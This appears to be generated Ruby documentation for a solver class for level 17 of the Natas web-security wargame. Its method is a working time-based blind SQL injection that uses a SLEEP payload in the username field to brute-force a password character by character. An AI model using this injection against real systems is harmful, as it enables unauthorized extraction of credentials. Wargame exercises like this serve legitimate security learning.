Class: NatasLevel17

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 17

Constant Summary collapse

LEVEL =
17
PAGE =
'/'
INTERVAL =
5
DICT =
('a'..'z').to_a +
('A'..'Z').to_a +
('0'..'9').to_a

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
# File 'lib/natas.rb', line 529

def exec
  password = String.new
  log('Bruteforcing password')
  PASSWORD_LENGTH.times do
    DICT.each do |c|
      payload = %(natas18" AND password LIKE BINARY "#{password}#{c}%" AND SLEEP(#{INTERVAL}) #)
      time = Time.now
      post(
        PAGE,
        {},
        { 'username' => payload }
      )
      if Time.now - time >= INTERVAL
        log(password << c)
        break
      end
    end
  end

  not_found if password.length != PASSWORD_LENGTH
  found(password)
end